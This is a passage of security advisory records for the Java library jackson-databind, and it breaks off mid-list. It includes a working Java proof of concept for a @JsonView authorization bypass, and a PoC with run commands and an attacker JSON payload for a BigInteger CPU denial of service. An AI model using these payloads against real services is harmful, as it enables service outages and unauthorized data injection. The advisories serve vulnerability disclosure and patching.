`com/fasterxml/jackson/databind/deser/BeanDeserializer.java`\nMethod: `deserializeUsingPropertyBasedWithExternalTypeId`\n\nOn 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks `creatorProp.isInjectionOnly()` and hands off to `ext.handlePropertyValue(...)` / `buffer.assignParameter(...)` without ever consulting `visibleInView(activeView)`:\n\n ```java\n if (creatorProp != null) {\n // [databind#1381]: if useInput=FALSE, skip deserialization from input\n if (creatorProp.isInjectionOnly()) { ... }\n // NO visibleInView(activeView) CHECK HERE\n if (!ext.handlePropertyValue(p, ctxt, propName, null)) {\n if (buffer.assignParameter(creatorProp, ...)) { ... }\n }\n continue;\n }\n```\n\nOn 3.1.4, the same branch contains the additional guard (commit 7dc7a17):\n\n ```java\n if (creatorProp != null) {\n // [databind#5971]: must honor active view here too\n if ((activeView != null) \u0026\u0026 !creatorProp.visibleInView(activeView)) {\n p.skipChildren();\n continue;\n }\n ...\n }\n```\n\nThe 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005\n with \"got changes merged forward, looks like it's all covered now\", but the forward-merge did not include the ExtTypeId creator branch.\n\n Proof of Concept\n\n Compiles and runs against jackson-databind 2.21.4:\n \n```java\n import com.fasterxml.jackson.annotation.*;\n import com.fasterxml.jackson.databind.ObjectMapper;\n\n public class JsonViewExternalTypeIdBypass {\n public static class PublicView {}\n public static class AdminView extends PublicView {}\n\n public static abstract class Asset { public String name; }\n public static class PublicAsset extends Asset {}\n public static class AdminAsset extends Asset { public String secret; }\n\n public static class Container {\n @JsonTypeInfo(use = JsonTypeInfo.Id.NAME,\n include = JsonTypeInfo.As.EXTERNAL_PROPERTY,\n property = \"kind\")\n @JsonSubTypes({\n @JsonSubTypes.Type(value = PublicAsset.class, name = \"pub\"),\n @JsonSubTypes.Type(value = AdminAsset.class, name = \"admin\")\n })\n @JsonView(AdminView.class)\n public Asset asset;\n\n public String label;\n\n @JsonCreator\n public Container(\n @JsonProperty(\"label\") String label,\n @JsonProperty(\"asset\") @JsonView(AdminView.class) Asset asset) {\n this.label = label;\n this.asset = asset;\n }\n }\n\n public static class Wrapper {\n @JsonView(PublicView.class)\n public Container data;\n }\n\n public static void main(String[] args) throws Exception {\n // Admin-only \"asset\" should be blocked when reading with PublicView\n String json = \"{\\\"data\\\":{\\\"label\\\":\\\"hello\\\",\\\"kind\\\":\\\"admin\\\",\"\n + \"\\\"asset\\\":{\\\"name\\\":\\\"foo\\\",\\\"secret\\\":\\\"LEAKED\\\"}}}\";\n\n ObjectMapper om = new ObjectMapper();\n Wrapper r = om.readerWithView(PublicView.class)\n .forType(Wrapper.class)\n .readValue(json);\n\n System.out.println(r.data);\n // Actual on 2.21.4: Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}}\n // Expected (secure): Container{label='hello', asset=null}\n if (r.data.asset != null \u0026\u0026 r.data.asset instanceof AdminAsset) {\n System.out.println(\"[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView\");\n }\n }\n }\n```\n\nA control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId\n code path and not a misconfiguration.\n\n### Impact\n\n View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot\n REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing\n the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.\n\n- CWE-863 (Incorrect Authorization)\n- Same impact class as CVE-2026-54517 / CVE-2026-54518\n- No RCE, no DoS — this is an access-control / mass-assignment bypass\n\n### Trigger Conditions\n\nDeveloper code must combine (no opt-in user configuration required):\n\n1. Property-based @JsonCreator on the outer type\n2. A creator parameter annotated with @JsonView(RestrictedView.class)\n3. The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property=\"...\")", "id": "GHSA-mhm7-754m-9p8w", "modified": "2026-09-10T03:50:52.852212609Z", "published": "2026-07-21T19:40:12Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-mhm7-754m-9p8w" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/c628b357ed143d8492756d5c1458cfb9fbeb29ed" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/dea7eb466e98cc226c4ac65587581fb49926820c" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "type": "CVSS_V3" } ], "summary": "jackson-databind: `@JsonView` bypass for creator properties with `@JsonTypeInfo(include=As.EXTERNAL_PROPERTY)`" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-q4xh-88c3-wmh7/GHSA-q4xh-88c3-wmh7.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.2.0", "3.2.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-q4xh-88c3-wmh7/GHSA-q4xh-88c3-wmh7.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.6" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-q4xh-88c3-wmh7/GHSA-q4xh-88c3-wmh7.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.14.0" }, { "fixed": "2.18.10" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.14.0", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-q4xh-88c3-wmh7/GHSA-q4xh-88c3-wmh7.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.6" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-q4xh-88c3-wmh7/GHSA-q4xh-88c3-wmh7.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0", "2.22.1" ] } ], "aliases": [ "CVE-2026-68497" ], "database_specific": { "cwe_ids": [ "CWE-400" ], "github_reviewed": true, "github_reviewed_at": "2026-09-28T20:19:46Z", "nvd_published_at": "2026-09-11T16:17:39Z", "severity": "HIGH" }, "details": "### Summary\n`jackson-databind` 3.2.1 deserializes a JSON **string** bound to a `javax.xml.datatype.Duration` or `javax.xml.datatype.XMLGregorianCalendar` field by passing the raw string verbatim to `DatatypeFactory.newDuration(value)` / `newXMLGregorianCalendar(value)`. Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into `java.math.BigInteger` / `BigDecimal` using the native `BigInteger(String)` constructor (an O(n²) parser). Because the digits reside inside a JSON **string** token, jackson-core's `StreamReadConstraints.maxNumberLength` guard (which bounds only JSON *number* tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default `JsonMapper.builder().build()` mapper with no polymorphic typing or special configuration.\n\n### Details\n`StreamReadConstraints.maxNumberLength` (jackson-core, default 1000) bounds the **text length of JSON number tokens** only; it does not apply to digits inside a JSON string token (`maxStringLength` default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — `NumberDeserializers` explicitly call `streamReadConstraints().validateIntegerLength(text.length())` / `validateFPLength(text.length())` before parsing a *stringified* number (`NumberDeserializers.java:1063`, `:1139`). The XML-datatype deserializer omits this identical pre-check.\n\n`CoreXMLDeserializers` registers `Std` deserializers **by default** for any field typed `javax.xml.datatype.Duration` or `XMLGregorianCalendar` (`findBeanDeserializer`), with no opt-in required. `Std._deserialize` hands the attacker string straight to the datatype factory:\n\n```java\nprotected Object _deserialize(String value, DeserializationContext ctxt) {\n switch (_kind) {\n case TYPE_DURATION:\n return _dataTypeFactory.newDuration(value); // attacker lexical string\n case TYPE_G_CALENDAR:\n Date d;\n try { d = _parseDate(value, ctxt); }\n catch (DatabindException e) {\n return _dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string\n }\n return _gregorianFromDate(ctxt, d);\n }\n throw new IllegalStateException();\n}\n```\n\nPer the XSD lexical rules, `newDuration` parses each numeric component (years, months, …) into a `BigInteger`, and `newXMLGregorianCalendar` parses fractional seconds into a `BigDecimal`. The JDK uses the native `BigInteger(String)` / `BigDecimal(String)` constructors, which are O(n²) in the digit count. A short JSON string such as `\"P\" + \"9\"×N + \"Y\"` therefore forces the allocation and O(N²) parse of an N-digit `BigInteger`, entirely downstream of every jackson-core constraint.\n\n## Vulnerable Code Location\n\n- `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137`\n — `newDuration(value)` (TYPE_DURATION)\n- `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147`\n — `newXMLGregorianCalendar(value)` (TYPE_G_CALENDAR fallback)\n- Registration (default, no opt-in):\n `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46`\n (`findBeanDeserializer` returns `Std` for `XMLGregorianCalendar` / `Duration`)\n- Contrast — correct length-guard pattern already used elsewhere in the library:\n `src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139`\n\n## Proof of Concept\n\nPoC source (`Vuln07_DurationDoS.java`). It uses only the public `ObjectMapper.readValue` API and a default mapper; the only \"special\" element is a normal DTO exposing a `javax.xml.datatype.Duration` field.\n\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\nimport javax.xml.datatype.Duration;\n\n/**\n * Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization.\n * A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration.\n */\npublic class Vuln07_DurationDoS {\n public static class Cfg { public Duration ttl; }\n\n public static void main(String[] args) throws Exception {\n ObjectMapper mapper = JsonMapper.builder().build();\n int digits = Integer.getInteger(\"digits\", 5_000_000);\n\n // Baseline small parse.\n long t0 = System.nanoTime();\n mapper.readValue(\"{\\\"ttl\\\":\\\"P1Y\\\"}\", Cfg.class);\n long tBase = System.nanoTime() - t0;\n System.out.println(\"Baseline (P1Y) parse: \" + (tBase/1_000_000) + \" ms\");\n\n String big = \"P\" + \"9\".repeat(digits) + \"Y\";\n String json = \"{\\\"ttl\\\":\\\"\" + big + \"\\\"}\";\n System.out.println(\"Payload JSON size ~ \" + json.length() + \" bytes (year component = \" + digits + \" digits)\");\n long t1 = System.nanoTime();\n try {\n Cfg c = mapper.readValue(json, Cfg.class);\n long dt = System.nanoTime() - t1;\n System.out.println(\"Parsed giant Duration in \" + (dt/1_000_000) + \" ms; years field type materialized as BigInteger\");\n System.out.println(\"RESULT: VULNERABLE - \" + digits + \"-digit BigInteger parsed from a \"\n + json.length() + \"-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)\");\n } catch (Throwable t) {\n long dt = System.nanoTime() - t1;\n System.out.println(\"After \" + (dt/1_000_000) + \" ms threw \" + t.getClass().getName() + \": \" + t.getMessage());\n }\n }\n}\n```\n\nMinimal HTTP-shaped payload (what an attacker sends):\n\n```json\n{ \"ttl\": \"P99999999999999999999…9Y\" } // 'P' + N nines + 'Y', N up to ~100,000,000\n```\n\nAn `XMLGregorianCalendar` field is equally affected via the fractional-seconds path, e.g.\n`{ \"at\": \"0000-01-01T00:00:00.\" + \"9\"×N }`.\n\n## Execution Steps\n\nThe PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain `javac`/`java` (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache `~/.m2`, but any copy works).\n\n```bash\n# 0. Locate the three dependency jars (published Maven artifacts).\nM2=\"$HOME/.m2/repository\"\nDB=\"$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar\"\nCORE=\"$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar\"\nANN=\"$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar\"\nCP=\"$DB:$CORE:$ANN\"\n# If not already cached, fetch them once, e.g.:\n# mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1\n# (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps)\n\n# 1. Compile with javac (single source file).\nmkdir -p out\njavac -cp \"$CP\" -d out src/main/java/com/poc/Vuln07_DurationDoS.java\n\n# 2. Quick confirmation (~11 s): 1,000,000-digit year component.\njava -Xmx2g -Ddigits=1000000 -cp \"out:$CP\" com.poc.Vuln07_DurationDoS\n\n# 3. Full-severity demonstration (~293 s): 5,000,000-digit year component.\njava -Xmx2g -Ddigits=5000000 -cp \"out:$CP\" com.poc.Vuln07_DurationDoS\n```\n\nThe `digits` system property controls the number of `9` characters in the year component; JSON payload size ≈ digits + 12 bytes. Increase toward the default 100,000,000 `maxStringLength` to scale cost further.\n\nEnvironment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default `JsonMapper.builder().build()`.\n\n## Reproduction Evidence\n\nDeterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes:\n\n**digits = 5,000,000 (~5 MB payload):**\n```\nBaseline (P1Y) parse: 27 ms\nPayload JSON size ~ 5000012 bytes (year component = 5000000 digits)\nParsed giant Duration in 293175 ms; years field type materialized as BigInteger\nRESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)\n```\n\n**digits = 1,000,000 (~1 MB payload, for fast repeatability):**\n```\nBaseline (P1Y) parse: 53 ms\nPayload JSON size ~ 1000012 bytes (year component = 1000000 digits)\nParsed giant Duration in 11155 ms; years field type materialized as BigInteger\nRESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)\n```\n\nInterpretation: a normal `\"P1Y\"` value parses in tens of milliseconds; a ~1 MB attacker payload consumes **~11 s** and a ~5 MB payload **~293 s** of single-thread CPU — a 5–6 order-of-magnitude amplification. The super-linear growth (≈26× cost for 5× payload) is consistent with the JDK's O(n²) `BigInteger(String)` constructor. The cost occurs inside `DatatypeFactory.newDuration`, downstream of jackson-core's `StreamReadConstraints` (independently confirmed: the same digit sequence supplied as a bare JSON *number* token is rejected with `StreamConstraintsException`, whereas inside a string token it is not bounded).\n\n## Impact\n\nAn unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large `BigInteger`/`BigDecimal` from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server's worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a `javax.xml.datatype.Duration` or `XMLGregorianCalendar` field common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations — and fires under the default mapper with no polymorphic typing.\n\n## Recommended Fix\n\nApply the same validate-length-then-parse idiom the core `NumberDeserializers` already use:\n\n1. In `CoreXMLDeserializers.Std._deserialize`, enforce a maximum raw-string length before\n calling `newDuration(value)` / `newXMLGregorianCalendar(value)` — e.g. reject inputs\n longer than `ctxt.streamReadConstraints().getMaxNumberLength()` (or a dedicated bound),\n routing over-length input through `ctxt.handleWeirdStringValue(...)`.\n2. Alternatively, validate the lexical form against a bounded regex and cap the digit count\n of each numeric component before delegating to `DatatypeFactory`.\n3. Document that `Duration` / `XMLGregorianCalendar` fields bound from untrusted input must\n be length-limited at the transport layer.", "id": "GHSA-q4xh-88c3-wmh7", "modified": "2026-09-28T20:30:05.315085978Z", "published": "2026-09-28T20:19:46Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-q4xh-88c3-wmh7" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68497" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/6127" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/a99b7e74c8928f43f6975773a8c862c8316178bd" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "jackson-databind: Duration XMLGregorianCalendar Unbounded Number Parse DoS" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-rmj7-2vxq-3g9f/GHSA-rmj7-2vxq-3g9f.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.10.0" }, { "fixed": "2.18.8" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-rmj7-2vxq-3g9f/GHSA-rmj7-2vxq-3g9f.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-rmj7-2vxq-3g9f/GHSA-rmj7-2vxq-3g9f.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-rmj7-2vxq-3g9f/GHSA-rmj7-2vxq-3g9f.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3" ] } ], "aliases": [ "CVE-2026-54513" ], "database_specific": { "cwe_ids": [ "CWE-184" ], "github_reviewed": true, "github_reviewed_at": "2026-06-23T21:22:15Z", "nvd_published_at": "2026-06-23T21:17:02Z", "severity": "HIGH" }, "details": "## Summary\n`BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray()` allowlists any array type based only on `clazz.isArray()`, without validating the array's component (element) type against the configured allowlist. A PTV built with `allowIfSubTypeIsArray()` plus an explicit concrete-type allowlist therefore still permits `EvilType[]` even though `EvilType` is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.\n\n## Impact\nApplications using `BasicPolymorphicTypeValidator` with `allowIfSubTypeIsArray()` as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.\n\n## Affected / Patched (verified via `git tag --contains`)\n- 2.18 line: `\u003e= 2.10.0, \u003c 2.18.8` -\u003e fixed in **2.18.8**\n- 2.19-2.21 line: `\u003e= 2.19.0, \u003c 2.21.4` -\u003e fixed in **2.21.4**\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4**\n\n`PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that.\n\n## Severity / CWE\nMaintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.\n\n## Upstream fix\nFasterXML/jackson-databind#5981; fix PR #5983 (`24529da`), 2.18 backport PR #5984 (`01d1692`). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.", "id": "GHSA-rmj7-2vxq-3g9f", "modified": "2026-09-11T15:45:08.499771763Z", "published": "2026-06-23T21:22:15Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-rmj7-2vxq-3g9f" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54513" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/5983" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/5981" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/5984" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/24529da29fdf46ff94ca38de9ebf31cd188f5e8e" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/01d1692c8d0ed03e51a0e3c4f8a9e6908e4931e5" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:50849" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:54435" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:54622" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:62260" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:66488" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:66545" }, { "type": "WEB", "url": "https://access.redhat.com/security/cve/CVE-2026-54513" }, { "type": "WEB", "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492010" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54513.json" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:36839" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:40895" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:41951" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:43218" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:43400" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:44061" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:44062" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:44063" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:44064" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:44065" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:44066" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:44271" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:48095" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:48151" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:50846" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:50847" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2026:50848" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "type": "CVSS_V3" } ], "summary": "jackson-databind has an array subtype allowlist bypass in BasicPolymorphicTypeValidator (allowIfSubTypeIsArray)" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-vvgp-rfg2-7rr6/GHSA-vvgp-rfg2-7rr6.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.0.0" }, { "fixed": "2.18.9" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0.0", "2.0.1", "2.0.2", "2.0.4", "2.0.5", "2.0.6", "2.1.0", "2.1.1", "2.1.2", "2.1.3", "2.1.4", "2.1.5", "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.2.0", "2.2.0-rc1", "2.2.1", "2.2.2", "2.2.3", "2.2.4", "2.3.0", "2.3.0-rc1", "2.3.1", "2.3.2", "2.3.3", "2.3.4", "2.3.5", "2.4.0", "2.4.0-rc1", "2.4.0-rc2", "2.4.0-rc3", "2.4.1", "2.4.1.1", "2.4.1.2", "2.4.1.3", "2.4.2", "2.4.3", "2.4.4", "2.4.5", 